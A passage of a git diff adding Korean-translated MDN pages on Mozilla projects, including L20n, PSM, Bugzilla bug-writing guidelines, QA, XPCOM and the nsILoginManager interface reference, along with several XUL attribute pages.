엠스크립튼은 빠른 코드를 생성해내며, 기본적인 컴파일 결과 값은 네이티브 속도에 가까운 성능을 낼 수 있도록 고성능으로 최적화 된 자바스크립트의 서브셋인 asm.js 포맷입니다.

+ +
+

주의: 꽤 재미있을 것 같지요? 엠스크립튼에 대해 좀 더 읽어보고, 한번 직접 데모를 실행시켜본 다음에, 어떻게 사용하는지 시작해보세요.

+
+ +

비슷한 주제의 다른 MDN 글

+ + diff --git a/files/ko/mozilla/projects/index.html b/files/ko/mozilla/projects/index.html new file mode 100644 index 0000000000..c1e43934a2 --- /dev/null +++ b/files/ko/mozilla/projects/index.html @@ -0,0 +1,14 @@ +--- +title: Projects +slug: Mozilla/Projects +tags: + - Mozilla + - NeedsContent + - NeedsTranslation + - Projects + - TopicStub +translation_of: Mozilla/Projects +--- +

{{ draft() }}

+

Below you'll find links to documentation about various Mozilla projects; these are often parts of Firefox or other products, but may also be used in other projects as well.

+

{{ LandingPageListSubpages() }}

diff --git a/files/ko/mozilla/projects/l20n/index.html b/files/ko/mozilla/projects/l20n/index.html new file mode 100644 index 0000000000..9f4a8dcbfb --- /dev/null +++ b/files/ko/mozilla/projects/l20n/index.html @@ -0,0 +1,126 @@ +--- +title: L20n +slug: Mozilla/Projects/L20n +translation_of: Mozilla/Projects/L20n +--- +
+

일러두기: 이 문서는 아직 드래프트 단계이거나 최신 버전이 아닐 수 있습니다. 가장 최근 문서는 깃헙 문서를 확인하세요.

+
+ +
L20n은 아주 간단한 코드로 여러분이 사용하는 언어의 힘을 더욱 끌어올릴 수 있는 JavaScript 지역화 프레임워크입니다.
+ +
+
+

L20n 소개

+ +

L20n reinvents software localization. Users should be able to benefit from the entire expressive power of the natural language. L20n keeps simple things simple, and at the same time makes complex things possible.

+ +

Through L20n, Mozilla is creating a new generation of technology that places more power in localizers' hands. L20n lets localizers reach higher levels of free linguistic expression by sharpening the divide between localization and application logic. It allows to adapt your web application not only to languages and cultures, but also contextual data, user gender and screen dimensions.

+
+ +
+

What L20n looks like

+ +

Here is a simple, straightforward example showing an English string being provided:

+ +
<brandName "Firefox">
+<about "About \{{ brandName }}">
+ +

Here is the same string being provided in Slovenian:

+ +
<brandName {
+  nominative: "Firefox",
+  genitive: "Firefoxa",
+  dative: "Firefoxu",
+  accusative: "Firefox",
+  locative: "Firefoxu",
+  instrumental: "Firefoxom"
+}>
+<about "O \{{ brandName.locative }}">
+
+
+ +

 

+ +
+
+

For Developers

+ +

Documentation for developers wanting to implement localization functionality on their web apps using L20n.

+ +
+
Internationalization for your web app
+
First read for developers looking to use the L20n infrastructure.
+
L20n's HTML bindings
+
Tutorial on implementing L20n in your HTML code.
+
L20n JavaScript API
+
An API for l20n.js.
+
L20n syntax cheatsheet for developers
+
A simple cheatsheet to help developers as they add L20n to their localization infrastructure.
+
+
+ +
+

For Localizers

+ +

Documentation for Localizers creating localized content for a project that uses L20n.

+ +
+
Learn the L20n syntax
+
How to naturally localize applications using L20n. Complete with use cases and examples of L20n in action.
+
Localization use-cases
+
How to naturally localize applications using L20n. Complete with use cases and examples of L20n in action.
+
L20n and Translation Memory eXchange (TMX)
+
How L20n impacts the Translation Memory eXchange standard for translation memory data.
+
L20n syntax cheatsheet for localizers
+
A simple cheatsheet to help localizers as they localize projects with L20n.
+
+
+ +
+ + +

Some additional resources for developers and localizers involved with L20n.

+ +
+
L20n.org
+
You can try L20n live in your browser on the project page.
+
L20n Tinker
+
Test out your own L20n code in L20n Tinker.
+
GitHub
+
Where the main code for the L20n infrastructure and design spec lives.
+
Wiki page
+
Info about the project to develop L20n.
+
+
+
+ + + +
    +
  1. For Developers + +
      +
    1. Internationalization for your web app
    2. +
    3. L20n's HTML bindings
    4. +
    5. .lol file format
    6. +
    7. L20n syntax cheatsheet for developers
    8. +
    +
  2. +
  3. For Localizers +
      +
    1. Learn the L20n syntax
    2. +
    3. Localization use cases
    4. +
    5. L20n and Translation Memory eXchange (TMX)
    6. +
    7. L20n syntax cheatsheet for localizers
    8. +
    +
  4. +
  5. Additional resources +
      +
    1. L20n.org
    2. +
    3. L20n Tinker
    4. +
    5. L20n GitHub repo
    6. +
    7. Mozilla Wiki
    8. +
    +
  6. +
diff --git a/files/ko/mozilla/projects/psm/index.html b/files/ko/mozilla/projects/psm/index.html new file mode 100644 index 0000000000..962da69c8f --- /dev/null +++ b/files/ko/mozilla/projects/psm/index.html @@ -0,0 +1,15 @@ +--- +title: Personal Security Manager (PSM) +slug: Mozilla/Projects/PSM +translation_of: Mozilla/Projects/PSM +--- +

Personal Security Manager (PSM)는 클라이언트 어플리케이션을 대신하여 암호화 동작을 수행하는 라이브러리 셋으로 구성되어 있습니다. 이 암호화 동작에는 SSL 연결 설정, 오브젝트 사이닝(object signing), 서명 확인(signature verification), 증명 관리(certificate management - issuance 및 revocation 포함) 및 기타 일반적인 PKI 기능이 포함됩니다.

+ +

주 :

+ + + +

 

diff --git a/files/ko/mozilla/qa/bug_writing_guidelines/index.html b/files/ko/mozilla/qa/bug_writing_guidelines/index.html new file mode 100644 index 0000000000..886539d894 --- /dev/null +++ b/files/ko/mozilla/qa/bug_writing_guidelines/index.html @@ -0,0 +1,177 @@ +--- +title: 버그 작성 지침 +slug: Mozilla/QA/Bug_writing_guidelines +tags: + - Bugzilla + - QA + - 버그 +translation_of: Mozilla/QA/Bug_writing_guidelines +--- +
+

이 페이지는 2014년 4분기에 모질라 QA팀의  테크니컬 리뷰를 받아야합니다.(Ioana Chiorean님이 담당합니다) QMO의 How to write a proper bug페이지 글이 이 글로 병합되었습니다.

+ +

모질라 소프트웨어를 사용하는데 도움이 필요하다면  지원 페이지에서 해당 소프트웨어를 선택하시기 바랍니다. 이 페이지는 수정하면 안됩니다. 모질라의 버그 추적 시스템인 Bugzilla를 사용하는 방법을 배우는데에 사용해주시기 바랍니다.

+ +

버그 리포팅이 처음이라면 유경험자에게 도움을 받아야할 수도 있습니다. QA페이지의 커뮤니티 섹션을 참고하시기 바랍니다. 파이어폭스의 버그를 리포팅하려면 irc.mozilla.org 의 #firefox 채널에서 도움을 받을 수도 있습니다.

+
+ +

효과적인 버그 리프트는 수정될 수 있을것 같이 작성한 것입니다. 이 가이드 라인은 그런 보고서를 작성하기 위한 방법을 설명합니다.

+ +

선행준비

+ +
    +
  1. 당신의 소프트웨어가 최신버전인지 확인하십시오. +
      +
    • 이상적으로는 개발중인 버전을 테스트하여 버그가 이미 수정되었는지 확인하십시오. (예 : Firefox Beta, Aurora, or bleeding-edge Nightly).
    • +
    +
  2. +
  3. Bugzilla 에서 해당 버그가 발견되었는지 확인하십시오. (예제).
  4. +
  5. 새로운 버그리포트를 작성할때에는 대부분 버그 리포팅 방법을 안내합니다. +
      +
    • 여러 가지 이슈사항을 가지고 있다면, 버그리포트를 각각 분리해서 제출하십시오.
    • +
    +
  6. +
+ +

재현가능한 정확한 단계 작성

+ +

어떻게 개발자는 자신의 컴퓨터에서 버그를 재현할 수 있을까요?

+ +

재현 단계는 버그 보고서 전체에서 가장 중요한 부분입니다.  개발자가 버그를 재현 가능한 경우에 고쳐질 가능성이 매우 높습니다. 만약 이 과정이 명확하지 않은 경우에는, 버그가 수정되었는지조차 모를 수도 있습니다.

+ +

각 단계의 의도와 더불어 Firefox와의 상호작용을 개연성있게 설명하십시오.

+ + + +

당신이 지시한 단계를 진행한 후, 예상했던 결과와 관찰력롸를 명확하게 설명하십시오. 추측에서 명확하게 관찰결과를 분리하십시오.

+ + + +

버그가 심각해보이는 경우, 버그를 재현하는 중요 단계중에 당신이 설정한 일반적이지 않은 설정이 있을 수 있습니다. 만약 당신이 작성한 버그가 새 Firefox 프로필에서 재현되는지 확인하십시오. 만약 당신의 기존 프로필에서만 버그가 발생한다면, 어떤 설정이나 확장도구, 혹은 당신의 프로필 파일이 버그를 재현하는데 필요합니다.

+ + + +

명확한 요약문 작성

+ +

어떻게하면 간략하게 버그를 설명할 수 있을까요? 이것은 버그 관리자(Triager)나 개발자가 볼 문서의 첫 부분입니다.

+ +

좋은 요약문은 짧고 명확하게 구분가능하게 작성되어야 합니다. 그리고 해결책이 아닌 문제에 집중하여 설명해야합니다.

+ + + + + +

Finding the correct product and component

+ +

You will be asked to categorize your bug into a "product" and a "component" within that product, in order to direct your report to the correct developers.

+ +

If you're using Firefox, the bug is most likely in "Firefox", "Toolkit", or "Core".

+ + + +

When in doubt, search for similar bugs and see what component they are in.

+ +

If none of the components seem appropriate, look for a "General" component in the most appropriate product.

+ +

Specific types of bugs

+ +

If you are reporting a crash bug, please include a Breakpad ID or attach stack trace, and include the crash signature in the bug summary.

+ +

If you are reporting a memory use or leak bug, please attach the output of about:memory (Firefox 6+). Ideally, find steps to reproduce an increase in what is shown in about:memory (even after clicking the "Minimize memory usage" button at the bottom). If you have trouble finding steps to reproduce, try the Firefox Support page titled High Memory Usage. If you are a C++ developer, more precise tools are available.

+ +

If you are reporting a bug involving a specific web page, please try to make a reduced testcase and attach it to the bug report.

+ +

If the bug was recently introduced, finding a regression window can help identify the cause of the bug.

+ +
+

Original document information

+ + +
+ +
+
+

The following article has been merged into this page from QMO: How to write a proper bug

+
+ +

Bug Validity Checklist

+ +

Verify the problem you found is a New Bug

+ +

To verify if what you've found is indeed a new software bug in one of Mozilla's products, go through the following checklist to make sure it's something worth creating a new bug report for.

+ + + +

If you're lost and not sure what to do always check out the IRC channel, #qa, at irc.mozilla.org and ask there. If no one answers, try posting to our Bugzilla forums. Otherwise if you haven't found your software bug, its time to write a bug report!

+ +

The Bug Report

+ +

Where do I go to create a bug?

+ + + +

What does the community want to see in a bug report?

+ +

There are a couple of generally-held principles that should be taken into account when creating a bug. They would be the following:

+ + + +

General Outline of a Bug Report

+ + + +

Continue reading How to Write a Proper Bug Report Part 2

+ +
+

Original document information

+ + +
+ +

Triager 라는 직업군을 처음봤으나 구글 검색결과 가장 의미에 부합하는 단어로 번역해봤습니다.

diff --git a/files/ko/mozilla/qa/index.html b/files/ko/mozilla/qa/index.html new file mode 100644 index 0000000000..87214803b6 --- /dev/null +++ b/files/ko/mozilla/qa/index.html @@ -0,0 +1,65 @@ +--- +title: 'QA: Quality assurance at Mozilla' +slug: Mozilla/QA +translation_of: Mozilla/QA +--- +

QA부서에서 Mozilla 프로젝트를 함께 도울 수 있는 많은 것들이 있으며, 모두 코드를 필요로 하는건 아닙니다. 일부는 심지어 HTML이나 기타 웹 기술을 배우고, 필요로 하지도 않습니다. 테스트와 기타 QA활동으로 우리를 도우는데 관심이 있으시다면,  quality.mozilla.org를 먼저 볼 수 있을겁니다..

+ + + + + + + + +
+

문서

+ +
+
버그 작성 지침
+
보다 효과적으로 엔지니어가 버그를 고칠 수 있다는 가능성을 보고할 수 있습니다. 다음 지침을 통해, 버그를 모질라 엔지니어의 heep의 상단에 머물고, 고정되는것을 보장할 수 있습니다.
+
확인되지 않은 버그 확인
+
최종 사용자의 유용한 버그 리포트만 식별하고 나머지는 닫습니다.
+
중복 버그 심사
+
이미 나온 중복 보고서를 피하거나, 보고서를 수신함으로서 더 빠르게 버그를 수정하는데 도움을 얻릉 수 있습니다.
+
testcases 감소
+
개발자는 버그를 이해하고, 자동화 된 테스트를 만드는데 사용할 수 있어, 도움이 되는 간단한 테스트 케이스로 깨진 웹 페이지를 만들어 버그 리포트를 향상시킬 수 있습니다.
+
Robocop
+
로보캅. Firefox for Android에 사용되는 자동화 된 테스트 시스템에 대한 설명서를 참조하십시오.
+
Mozilla에서 자동화 된 테스트
+
모질라 코드에 대한 자동화된 테스트를 생성하시고 사용하는 방법에 대한 설명서를 참조하십시오.
+
개발 테스트
+
미래의 변화가 모질라에서 현재 제대로 작동되는 일들을 방해하지 않는지 확인하기 위함.
+
간혈적인 oranges 방지
+
검사 결과가 더 신뢰할 수 있도록 하는 방법에 대한 제한으로, 임의의 간혈적인 검사가 오류를 방지하는데 도움이 됩니다.
+
+ +

모두보기...

+
+

커뮤니티

+ + + +

도구

+ + + +

모두보기...

+ + + + +
diff --git a/files/ko/mozilla/tech/index.html b/files/ko/mozilla/tech/index.html new file mode 100644 index 0000000000..b891a01cb4 --- /dev/null +++ b/files/ko/mozilla/tech/index.html @@ -0,0 +1,13 @@ +--- +title: Mozilla technologies +slug: Mozilla/Tech +tags: + - XUL + - 모질라 + - 시작하기 + - 참조 +translation_of: Mozilla/Tech +--- +

모질라 프로젝트의 컴포넌트로 사용되는 몇가지 기술이 있습니다. 이 문서는 이를 기술합니다. (현재 모든 하위문서가 번역되진 않았습니다.)

+ +

{{LandingPageListSubpages}}

diff --git a/files/ko/mozilla/tech/xpcom/guide/index.html b/files/ko/mozilla/tech/xpcom/guide/index.html new file mode 100644 index 0000000000..898a1f2b20 --- /dev/null +++ b/files/ko/mozilla/tech/xpcom/guide/index.html @@ -0,0 +1,16 @@ +--- +title: XPCOM guide +slug: Mozilla/Tech/XPCOM/Guide +tags: + - Landing + - Mozilla + - NeedsTranslation + - TopicStub + - XPCOM +translation_of: Mozilla/Tech/XPCOM/Guide +--- +

These articles provide tutorials and usage documentation for XPCOM, including how to use it in your own projects and how to build XPCOM components for your Firefox add-ons and the like.

+

+
+ +

diff --git a/files/ko/mozilla/tech/xpcom/language_bindings/index.html b/files/ko/mozilla/tech/xpcom/language_bindings/index.html new file mode 100644 index 0000000000..3bdc969de3 --- /dev/null +++ b/files/ko/mozilla/tech/xpcom/language_bindings/index.html @@ -0,0 +1,25 @@ +--- +title: Language bindings +slug: Mozilla/Tech/XPCOM/Language_Bindings +tags: + - Embedding + - Landing + - Mozilla + - NeedsTranslation + - TopicStub + - XPCOM + - 'XPCOM:Language Bindings' +translation_of: Mozilla/Tech/XPCOM/Language_Bindings +--- +

An XPCOM Language Binding is a bridge between a particular language and XPCOM to provide access to XPCOM objects from that language, and to let modules written in that language be used as XPCOM objects by all other languages for which there are XPCOM bindings.

+

More specifically, an XPCOM language binding:

+ +

Since the XPCOM layer itself is written in C/C++, its API can be accessed out-of-the-box using C or C++. In order to allow any other language to use the XPCOM API, a bridging layer is required.

+

The following bridging layers are currently available:

+

+
+ +

diff --git a/files/ko/mozilla/tech/xpcom/reference/index.html b/files/ko/mozilla/tech/xpcom/reference/index.html new file mode 100644 index 0000000000..5a7636ec04 --- /dev/null +++ b/files/ko/mozilla/tech/xpcom/reference/index.html @@ -0,0 +1,30 @@ +--- +title: XPCOM reference +slug: Mozilla/Tech/XPCOM/Reference +tags: + - Add-ons + - Extensions + - Landing + - Mozilla + - NeedsTranslation + - Reference + - TopicStub + - XPCOM +translation_of: Mozilla/Tech/XPCOM/Reference +--- +

This reference describes the interfaces and functions provided by the XPCOM library. In addition, it details the various helper classes and functions, as well as the components, provided by the XPCOM glue library. The contents herein are oriented primarily toward extension developers and people embedding XPCOM in other projects.

+ +
+

WebExtensions are becoming the new standard for creating add-ons. Eventually support for XPCOM add-ons will be deprecated, so you should begin to investigate porting your add-ons to use the WebExtensions API, and report any missing functionality so we can be sure to address your concerns. Work is ongoing on WebExtension capabilities, so your input will help prioritize and plan the work. To learn more about the kinds of changes that will be needed, see Comparison with XUL/XPCOM extensions. In addition, any binaries you use will then need to be converted for use with the WebExtensions native messaging API, or compiled using WebAssembly or Emscripten.

+
+ +
+

If you're working on a module in the Mozilla codebase that's compiled with the MOZILLA_INTERNAL_API flag set, some of these APIs -- the string functions and classes in particular -- are not the ones you should be using. See the XPCOM internal string guide for documentation of the internal string API used within the Mozilla codebase.

+
+ +

+
+
XPCOM Interface Reference
This is a reference to the XPCOM interfaces provided by the Mozilla platform.
+

+ +

Many XPCOM pages return an nsresult. Prior to Gecko 19 (Firefox 19 / Thunderbird 19 / SeaMonkey 2.16), this was an integer that simply returned an error code. It is now a strongly typed enum when XPCOM is built using a C++11 compiler. This causes compile-time errors to occur when improper values are returned as nsresult values, thereby making it easier to catch many bugs.

diff --git a/files/ko/mozilla/tech/xpcom/reference/interface/about_scriptable_interfaces/index.html b/files/ko/mozilla/tech/xpcom/reference/interface/about_scriptable_interfaces/index.html new file mode 100644 index 0000000000..d282b17f13 --- /dev/null +++ b/files/ko/mozilla/tech/xpcom/reference/interface/about_scriptable_interfaces/index.html @@ -0,0 +1,26 @@ +--- +title: About Scriptable Interfaces +slug: Mozilla/Tech/XPCOM/Reference/Interface/About_Scriptable_Interfaces +tags: + - 'Interfaces:Scriptable' +translation_of: Interfaces/About_Scriptable_Interfaces +--- +

 

+ +

문서의 상태

+ +

이 문서는 시작단계이고 문서를 완성할 생각이 없을 지도 모릅니다. 이 문서에 있는 정보들은 http://www.mozilla.org/scriptable/XPCOM 컴포넌트 만들기에 있는 내용을 기반으로 합니다.

+ +

스크립터블 인터페이스(Scriptable Interface)

+ +

인터페이스는 XPCOM 컴포넌트의 자세한 세부 구현을 감추면서 기능을 외부 세계로 노출할 수 있도록 해 줍니다. 인터페이스IDL(인터페이스 기술 언어)로 작성됩니다.

+ +

interface에 scriptable 라벨링 한다는 것은, 스크립트 언어(예: JavaScript)를 이용하여 인터페이스를 통해 컴포넌트를 참조할 수 있으며 또한 인터페이스를 구현한 새로운 컴포넌트를 작성할 수 있다는 것을 의미합니다.

+ +

XPConnect

+ +

XPConnectJavaScript 언어로 스크립터블 인터페이스를 사용하거나 구현할 수 있게 해 주는 기술입니다. 다른 스크립트 언어들에서는 XPConnect을 지원하지 않습니다.

+ +

Python

+ +

Python 스크립트에서 스크립터블 인터페이스를 사용하거나 구현할 수 있게 해주는 XPCOM와 Python을 연결하는 확장 기능 {{ Source("extensions/python") }} 이 있습니다.

diff --git a/files/ko/mozilla/tech/xpcom/reference/interface/nsiloginmanager/index.html b/files/ko/mozilla/tech/xpcom/reference/interface/nsiloginmanager/index.html new file mode 100644 index 0000000000..c417f645f5 --- /dev/null +++ b/files/ko/mozilla/tech/xpcom/reference/interface/nsiloginmanager/index.html @@ -0,0 +1,372 @@ +--- +title: nsILoginManager +slug: Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager +tags: + - Firefox 3 + - Interfaces + - 'Interfaces:Scriptable' + - Login Manager + - NeedsTranslation + - Thunderbird 3 + - TopicStub + - XPCOM + - XPCOM API Reference + - thunderbird +translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsILoginManager +--- +

+
toolkit/components/passwordmgr/public/nsILoginManager.idl스크립트에서 사용 가능
+ + +Used to interface with the built-in Password Manager + + +
+ +
1.0
+ +
66
+ +
+ +
+ +
Introduced
+
Gecko 1.9
+ +
+ +
+ +
+Inherits from: nsISupports +Last changed in Gecko 1.9.2 (Firefox 3.6 / Thunderbird 3.1 / Fennec 1.0)
+

+

Replaces nsIPasswordManager which was used in older versions of Gecko.

+

Implemented by: @mozilla.org/login-manager;1. To create an instance, use:

+
var loginManager = Components.classes["@mozilla.org/login-manager;1"]
+                   .getService(Components.interfaces.nsILoginManager);
+
+

Method overview

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void addLogin(in nsILoginInfo aLogin);
nsIAutoCompleteResult autoCompleteSearch(in AString aSearchString, in nsIAutoCompleteResult aPreviousResult, in nsIDOMHTMLInputElement aElement);
unsigned long countLogins(in AString aHostname, in AString aActionURL, in AString aHttpRealm);
boolean fillForm(in nsIDOMHTMLFormElement aForm);
void findLogins(out unsigned long count, in AString aHostname, in AString aActionURL, in AString aHttpRealm, [retval, array, size_is(count)] out nsILoginInfo logins);
void getAllDisabledHosts([optional] out unsigned long count, [retval, array, size_is(count)] out wstring hostnames);
void getAllLogins([optional] out unsigned long count, [retval, array, size_is(count)] out nsILoginInfo logins);
boolean getLoginSavingEnabled(in AString aHost);
void modifyLogin(in nsILoginInfo oldLogin, in nsISupports newLoginData);
void removeAllLogins();
void removeLogin(in nsILoginInfo aLogin);
void searchLogins(out unsigned long count, in nsIPropertyBag matchData, [retval, array, size_is(count)] out nsILoginInfo logins);
void setLoginSavingEnabled(in AString aHost, in boolean isEnabled);
+

Methods

+

addLogin()

+

Stores a new login in the Login Manager.

+

주의: Default values for the nsILoginMetaInfo properties are created if the specified login doesn't explicitly specify them.

+
void addLogin(
+  in nsILoginInfo aLogin
+);
+
+
Parameters
+
+
+ aLogin
+
+ The login to store.
+
+
Exceptions thrown
+
+
+  
+
+ An exception is thrown if the login information is already stored in the Login Manager. To change a login, you have to use modifyLogin().
+
+

autoCompleteSearch()

+

Generates results for a user field autocomplete menu.

+

주의: This method is provided for use only by the FormFillController, which calls it directly. It should not be used for any other purpose.

+
nsIAutoCompleteResult autoCompleteSearch(
+  in AString aSearchString,
+  in nsIAutoCompleteResult aPreviousResult,
+  in nsIDOMHTMLInputElement aElement
+);
+
+
Parameters
+
+
+ aSearchString
+
+ Missing Description
+
+ aPreviousResult
+
+ Missing Description
+
+ aElement
+
+ Missing Description
+
+
Return value
+

Missing Description

+

countLogins()

+

Returns the number of logins matching the specified criteria. Called when only the number of logins is needed, and not the actual logins (which avoids prompting the user for a Master Password, as the logins don't need to be decrypted).

+
unsigned long countLogins(
+  in AString aHostname,
+  in AString aActionURL,
+  in AString aHttpRealm
+);
+
+
Parameters
+
+
+ aHostname
+
+ The hostname to which to restrict searches, formatted as a URL. For example, "http://www.bar.com". To match all hostnames, specify "" (empty string). A value of null will cause countLogins() to not match any logins.
+
+ aActionURL
+
+ For form logins, this parameter should specify the URL to which the form will be submitted. To match any form login, specify "" (empty string). To not match any form logins (For example when interested in protocol logins only), specify null.
+
+ aHttpRealm
+
+ For protocol logins, specify the HTTP Realm for which the login applies; this is obtained from the WWW-Authenticate header (see RFC 2617). To match any protocol login, specify "" (empty string). To not match any protocol logins (For example when interested in form logins only), specify null.
+
+
Return value
+

The number of logins matching the parameters passed.

+

fillForm()

+

Fills out a form with login information, if appropriate information is available.

+

주의: This method will attempt to fill out the form regardless of the setting of the signon.autofillForms preference.

+
boolean fillForm(
+  in nsIDOMHTMLFormElement aForm
+);
+
+
Parameters
+
+
+ aForm
+
+ The HTMLform to attempt to fill out.
+
+
Return value
+

true if the form was successfully filled out; otherwise false.

+

findLogins()

+

Searches for logins matching the specified criteria. Called when looking for logins that might be applicable to a given form or authentication request.

+
void findLogins(
+  out unsigned long count,
+  in AString aHostname,
+  in AString aActionURL,
+  in AString aHttpRealm,
+  [retval, array, size_is(count)] out nsILoginInfo logins
+);
+
+
Parameters
+
+
+ count
+
+ The number of elements in the returned array. JavaScript callers can simply use the array's length property and supply a dummy argument for this parameter.
+
+ aHostname
+
+ The hostname to restrict searches to, formatted as a URL. For example, "http://www.bar.com".
+
+ aActionURL
+
+ For form logins, this parameter should specify the URL to which the form will be submitted. For protocol logins, specify null. An empty string ("") will match any value (except null).
+
+ aHttpRealm
+
+ For protocol logins, specify the HTTP Realm for which the login applies; this is obtained from the WWW-Authenticate header (see RFC 2617). For form logins, this parameter should be null. An empty string ("") will match any value (except null).
+
+ logins
+
+ An array of nsILoginInfo objects.
+
+
Example
+

This method can be called from JavaScript like this:

+
 var logins = myLoginMgr.findLogins({}, hostname, ...);
+
+

getAllDisabledHosts()

+

Returns a list of all hosts for which login saving is disabled.

+
void getAllDisabledHosts(
+  [optional] out unsigned long count,
+  [retval, array, size_is(count)] out wstring hostnames
+);
+
+
Parameters
+
+
+ count
+
+ The number of elements in the returned array. JavaScript callers can simply use the array's length property and supply a dummy argument for this parameter.
+
+ hostnames
+
+ An array of hostname strings in URL format without a pathname. For example: "https://www.site.com".
+
+
Example
+

You can call this method from JavaScript like this:

+
 var disabledHosts = myLoginMgr.getAllDisabledHosts({});
+
+

getAllLogins()

+

Returns an array containing all logins recorded by the Login Manager.

+

If you just want to see if any logins are stored, use countLogins() instead. It's more efficient, and avoids the possibility of the user being prompted for their master password.

+
void getAllLogins(
+  [optional] out unsigned long count,
+  [retval, array, size_is(count)] out nsILoginInfo logins
+);
+
+
Parameters
+
+
+ count
+
+ The number of elements in the returned array. JavaScript callers can simply use the array's length property and supply a dummy argument for this parameter.
+
+ logins
+
+ An array of nsILoginInfo objects containing all the logins the Login Manager has on record.
+
+
Example
+

You can call this method from JavaScript like this:

+
 var logins = myLoginMgr.getAllLogins({});
+
+

getLoginSavingEnabled()

+

Reports whether or not saving login information is enabled for a host.

+
boolean getLoginSavingEnabled(
+  in AString aHost
+);
+
+
Parameters
+
+
+ aHost
+
+ The hostname to check. This argument should be in the origin URL format, with no pathname. For example: "https://www.site.com".
+
+
Return value
+

true if login saving is enabled for the host, otherwise false.

+

modifyLogin()

+

Modifies an existing login by replacing it with a new one.

+

If newLoginData is a nsILoginInfo, all of the old login's nsILoginInfo properties are changed to the values from newLoginData (but the old login's nsILoginMetaInfo properties are unmodified).

+

If newLoginData is a nsIPropertyBag, only the specified properties will be changed. The nsILoginMetaInfo properties of oldLogin can be changed in this manner.

+

If the propertybag contains an item named "timesUsedIncrement", the login's timesUsed property will be incremented by the item's value.

+
void modifyLogin(
+  in nsILoginInfo oldLogin,
+  in nsISupports newLoginData
+);
+
+
Parameters
+
+
+ oldLogin
+
+ The login to be modified.
+
+ newLoginData
+
+ The login information to replace the oldLogin with. This may be specified as either an nsILoginInfo or an nsIPropertyBag2 object.
+
+

removeAllLogins()

+

Removes all logins known by the Login Manager. This works without a need for the master password, if one is set.

+
void removeAllLogins();
+
+
Parameters
+

None.

+

removeLogin()

+

Removes a login from the Login Manager.

+

주의: The specified login must exactly match a stored login. However, the values of any nsILoginMetaInfo properties are ignored.

+
void removeLogin(
+  in nsILoginInfo aLogin
+);
+
+
Parameters
+
+
+ aLogin
+
+ The login to remove from the Login Manager. Only a login that is an exact match is deleted.
+
+

searchLogins()

+

Searches for logins in the login manager's data store, returning an array of matching logins. If there are no matching logins, an empty array is returned.

+
void searchLogins(
+  out unsigned long count,
+  in nsIPropertyBag matchData,
+  [retval, array, size_is(count)] out nsILoginInfo logins
+);
+
+
Parameters
+
+
+ count
+
+ The number of elements in the returned array.
+
+ matchData
+
+ The data used for the search. This does not follow the same requirements as findLogins() for those fields; wildcard matches are not specified.
+
+ logins
+
+ An array of matching nsILoginInfo objects.
+
+
Example
+

This method can be called from JavaScript like this:

+
 var logins = myLoginMgr.searchLogins({}, matchData);
+ var numLogins = logins.length;
+
+

setLoginSavingEnabled()

+

Enables or disables storing logins for a specified host. When login storing is disabled, the Login Manager won't prompt the user to store logins for that host. Existing logins are not affected.

+
void setLoginSavingEnabled(
+  in AString aHost,
+  in boolean isEnabled
+);
+
+
Parameters
+
+
+ aHost
+
+ The hostname to adjust the setting for. This argument should be in the origin URL format, with no pathname. For example: "https://www.site.com".
+
+ isEnabled
+
+ If true, login saving is enabled for the specified host. If false, login saving is disabled.
+
+

See also

+ +

diff --git a/files/ko/mozilla/tech/xul/attribute/accesskey/index.html b/files/ko/mozilla/tech/xul/attribute/accesskey/index.html new file mode 100644 index 0000000000..611ef87975 --- /dev/null +++ b/files/ko/mozilla/tech/xul/attribute/accesskey/index.html @@ -0,0 +1,44 @@ +--- +title: accesskey +slug: Mozilla/Tech/XUL/Attribute/accesskey +tags: + - XUL Attributes +translation_of: Archive/Mozilla/XUL/Attribute/accesskey +--- +
+ « XUL Reference home
+
+
+
+ 사용요소: button, checkbox, caption, description, label, listitem, menu, menuitem, menulist, tab, radio, toolbarbutton, textbox (Firefox autocomplete)
+
+
+
+
+ accesskey
+
+ 타입: + + character +
+
+ 이 속성에는 단축키로 사용될 문자를 지정합니다. 문자는 대상 요소의 label 속성값인 텍스트에 포함된 문자 중 하나를 사용하는 것이 좋습니다. +
+ 문자는 보통 밑줄이 그어져 출력되며, 이는 플랫폼과 테마에 따라 다를 수 있습니다. 사용자가 Alt(또는 플랫폼에 따라 다른 키)와 단축키를 같이 누르면 창의 어디에 있든 해당 요소가 활성화 됩니다. 속성값은 대소문자를 구분하지 않지만 라벨에 대문자와 소문자가 같이 있다면 accesskey 속성과 동일한 문자가 사용됩니다.
+
+
+

예제

+
+ Image:XUL_ref_accesskey_attr.png
+
<vbox>
+  <label value="Enter Name" accesskey="e" control="myName"/>
+  <textbox id="myName"/>
+  <button label="Cancel" accesskey="n"/>
+  <button label="Ok" accesskey="O"/>
+</vbox>
+
+

또 볼 곳

+

label attribute, acceltext attribute

+
+  
+

diff --git a/files/ko/mozilla/tech/xul/attribute/currentset/index.html b/files/ko/mozilla/tech/xul/attribute/currentset/index.html new file mode 100644 index 0000000000..2f597090c5 --- /dev/null +++ b/files/ko/mozilla/tech/xul/attribute/currentset/index.html @@ -0,0 +1,25 @@ +--- +title: currentset +slug: Mozilla/Tech/XUL/Attribute/currentset +tags: + - MDC Project + - NeedsTechnicalReview + - XUL Attributes +translation_of: Archive/Mozilla/XUL/Attribute/currentset +--- +
+ « XUL Reference home
+
+
+ currentset
+
+ Firefox only
+
+ 타입: + + comma-separated string +
+
+ 현재 toolbar에 출력되는 항목의 집합입니다. 이 집합은 사용자가 툴바를 커스터마이징(사용자 지정) 할 경우 변경될 수 있습니다. 속성값은 쉼표(,)로 분리된 toolbarpalette에 있는 항목들의 ID 목록이어야 하며, 추가적으로 "separator", "spring", "spacer"의 문자열을 포함할 수 있습니다.
+
+

this isn't necessary the *current* set, i.e. it might not be equal the value of the currentSet property which is computed from the actual DOM

diff --git a/files/ko/mozilla/tech/xul/attribute/image.onload/index.html b/files/ko/mozilla/tech/xul/attribute/image.onload/index.html new file mode 100644 index 0000000000..a8b0c5020a --- /dev/null +++ b/files/ko/mozilla/tech/xul/attribute/image.onload/index.html @@ -0,0 +1,12 @@ +--- +title: image.onload +slug: Mozilla/Tech/XUL/Attribute/image.onload +translation_of: Archive/Mozilla/XUL/Attribute/image.onload +--- +
« XUL Reference home
+ +
+
image.onload
+
Type: script code
+
